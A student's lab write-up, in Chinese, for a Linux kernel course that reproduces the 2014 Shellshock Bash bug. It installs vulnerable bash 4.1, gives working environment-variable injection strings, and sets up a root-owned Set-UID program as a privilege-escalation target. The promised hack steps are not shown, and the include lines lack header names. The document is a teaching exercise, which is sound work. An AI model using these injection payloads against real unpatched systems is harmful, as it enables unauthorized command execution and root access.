2019-2020-1 20199312《Linux内核原理与分析》第十二周作业

实验背景

2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，并且既可以远程也可以在本地触发。在本实验中，学生需要亲手重现攻击来理解该漏洞，并回答一些问题。

什么是ShellShock

Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

环境搭建

由于4.2版本以上，该漏洞已经被堵上了，因此要以root权限安装4.1版bash（）
实验楼中提供的bash4.1的地址：http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载

$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长，请等待一会
$ make && make install

链接

$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash

到这里环境就安装完了，接下来检测是否存在shellshock漏洞。

测试

$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

输出vulnerable的话,说明bash有漏洞。

最后，让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

现在一切就绪，进入下一步吧。

测试

1.预备知识

• 了解bash自定义函数，只需要函数名就能够调用该函数。

$ foo() { echo lichen20199312; } 
$ foo
> lichen20199312

• 这个时候的Bash的环境变量：

KEY = foo
VALUE = () { echo lichen20199312; }

来看看ShellShock漏洞的真身：

export foo='() { :; }; echo Hello lichen12'
bash
>Hello lichen12

为什么调用bash的时候输出Hello lichen12了呢？瞧瞧他内部的情况：

KEY = foo
VALUE = () { :; }; echo Hello lichen12

bash读取了环境变量，在定义foo之后直接调用了后面的函数。 一旦调用bash，自定义的语句就直接触发。

正式实验

本实验中，我们通过攻击Set-UID程序来获得root权限。
我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用，你能够利用shellshock漏洞来获取权限么？ 首先，确保安装了带有漏洞的bash版本，并让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

在 /home/shiyanlou 目录下新建一个 shock12.c 文件：

$ vi shock12.c

按 I 键切换到插入模式，再输入如下内容：

#include 
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

编译这段代码，并设置其为Set-UID程序，保证它的所有者是root。

$ sudo su
$ gcc -o shock shock12.c
$ chmod u+s shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid，这在Set-UID程序中不是普遍现象，但它确实有时会发生。 先自己试着hack一下：） 以下是hack过程：

如果 setuid(geteuid()) 语句被去掉了，再试试看攻击，我们还能够拿到权限么？

#include 
void main()
{
    system("/bin/ls -l");
}

$ sudo su
$ gcc -o shock1 shock12.c
$ chmod u+s shock1
$ ls -il shock1
$ exit
$ ./shock1

失败了！这就说明如果 real uid 和 effective uid 相同的话，定义在环境变量中的内容在该程序内有效，那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话，环境变量失效，就无法发动攻击了。
variables.c部分代码

/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {

      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
  ;
      if (string[-1] == '=')
  char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
   string without an `=', just skip them. */
      if (char_index == 0)
  continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
   char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
   the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
  {
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);

    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);

    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

    /* Ancient backwards compatibility.  Old versions of bash exported
       functions like name()=() {...} */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
      name[char_index - 2] = '\0';

    if (temp_var = find_function (name))
      {
        VSETATTR (temp_var, (att_exported|att_imported));
        array_needs_making = 1;
      }
    else
      report_error (_("error importing function definition for `%s'"), name);

    /* ( */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
      name[char_index - 2] = '(';   /* ) */
  }

摘出其中关键部分并简化

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下（root下）定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (“() {“, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同，primode即私有模式，要求real uid 与 effective uid保持一致。

感悟

该漏洞在于，Bash把函数体解析完了之后，去执行了函数定义后面的语句。原理十分简单危害却巨大无比。此类型的攻击方式频出关键在于bash在设计的时候对于环境变量的依赖，人们可以尝试着使用各种方式诱骗bash视其为命令。